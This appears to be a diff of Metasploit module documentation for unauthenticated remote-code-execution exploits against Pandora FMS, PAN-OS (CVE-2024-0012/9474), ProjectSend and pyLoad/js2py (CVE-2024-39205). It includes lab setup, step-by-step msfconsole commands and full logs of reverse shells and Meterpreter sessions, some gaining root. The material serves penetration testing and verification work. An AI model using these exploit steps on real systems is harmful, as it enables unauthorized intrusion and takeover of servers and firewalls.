[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
[+] Payload is successful removed from LDAP configuration.
pwd
/var/www/html/pandora_console
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```
## Limitations
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
to the MySQL database with the default database credentials.
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
You can check this with the SQL command below if you have local access to the database.
```
SELECT host FROM mysql.user WHERE user = "pandora";
+-----------+
| host |
+-----------+
| 127.0.0.1 |
| localhost |
+-----------+
```
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
@@ -0,0 +1,113 @@
## Vulnerable Application
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
execute arbitrary code with root privileges.
The following versions are affected:
* PAN-OS 11.2 (up to and including 11.2.4-h1)
* PAN-OS 11.1 (up to and including 11.1.5-h1)
* PAN-OS 11.0 (up to and including 11.0.6-h1)
* PAN-OS 10.2 (up to and including 10.2.12-h2)
## Testing
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
to change this upon logging in for the first time.
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
and `cmd/unix/reverse_bash`.
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/panos_management_unauth_rce`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
5. `set LHOST eth0`
5. `set LPORT 4444`
6. `check`
7. `exploit`
## Options
### WRITABLE_DIR
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.
## Scenarios
### Default
```
msf6 exploit(linux/http/panos_management_unauth_rce) > show options
Module options (exploit/linux/http/panos_management_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/panos_management_unauth_rce) > check
[+] 192.168.86.100:443 - The target is vulnerable.
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Sending stage (3045380 bytes) to 192.168.86.100
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.86.100
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,114 @@
## Vulnerable Application
ProjectSend is a web application used for sharing files with clients.
Due to POST parameters being executed before checking user permissions,
it is possible to perform a series of actions that can result in unauthenticated Remote Code Execution (RCE)
on vulnerable versions of ProjectSend.
This module has been tested against ProjectSend versions r1295 through r1605 on Linux.
The easiest way to obtain a vulnerable version of ProjectSend is by deploying it using Docker, as pre-made images exist for the software.
The following Docker Compose file can be used to set up a vulnerable environment.
```
---
services:
projectsend:
image: lscr.io/linuxserver/projectsend:version-r1605
container_name: projectsend
environment:
- PUID=1000
- PGID=1000
- TZ=Etc/UTC
- MAX_UPLOAD=5000
volumes:
- ./projectsend/config:/config
- ./projectsend/data:/data
ports:
- 80:80
restart: unless-stopped
db:
image: mariadb
restart: unless-stopped
container_name: db
volumes:
- ./mariadb_data:/var/lib/mysql
environment:
MYSQL_ROOT_PASSWORD: password
MYSQL_DATABASE: projectsend
MYSQL_USER: projectsend
MYSQL_PASSWORD: projectsend
```
After launching the containers, ProjectSend requires an initial configuration,
which can be completed by accessing it via port 80 on localhost.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/projectsend_unauth_rce`
4. Set remote hosts: `set RHOSTS <ip>`
5. Set remote port: `set RPORT <port>`
6. Set the path to ProjectSend: `set TARGETURI <URI>`
7. Set local host: `set LHOST <local ip>`
8. Do: `run`
9. You should get a shell
```
msf6 exploit(linux/http/projectsend_unauth_rce) > options
Module options (exploit/linux/http/projectsend_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The TARGETURI for ProjectSend
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP Command
```
## Options
N/A - Only default options.
## Scenarios
```
msf6 exploit(linux/http/projectsend_unauth_rce) > run
[*] Started reverse TCP handler on 192.168.1.20:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Client registration successfully enabled
[+] User alvin.padberg created with password lrASo3iM
[*] Disabling upload restrictions...
[*] Logging in as alvin.padberg...
[+] Logged in as alvin.padberg
[+] Successfully uploaded PHP file: sX1A4FCH.php
[*] Sending stage (39927 bytes) to 192.168.1.20
[*] Meterpreter session 1 opened (192.168.1.20:4444 -> 192.168.1.20:56675) at 2024-09-23 19:01:29 +0200
[*] Logging in as alvin.padberg...
[+] Logged in as alvin.padberg
[+] Client registration successfully disabled
[*] Enabling upload restrictions...
meterpreter > sysinfo
Computer : 1480205e55c2
OS : Linux 1480205e55c2 6.6.26-linuxkit #1 SMP Sat Apr 27 04:13:19 UTC 2024 aarch64
Meterpreter : php/linux
```
@@ -0,0 +1,147 @@
## Vulnerable Application
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.
## Verification Steps
1. Start a vulnerable instance of pyLoad using docker
2. Start msfconsole
3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205`
4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options
5. Run: `run`
### Docker Setup
```
docker run -d \
--name=pyload-ng \
-e PUID=1000 \
-e PGID=1000 \
-e TZ=Etc/UTC \
-p 8000:8000 \
-p 9666:9666 \
--restart unless-stopped \
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
```
## Scenarios
### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74)
```
msf6 > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9666 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
meterpreter > getruid
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer : 172.17.0.2
OS : (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74)
```
msf6 > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1
target => 1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer : 172.17.0.2
OS : (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

Some files were not shown because too many files have changed in this diff Show More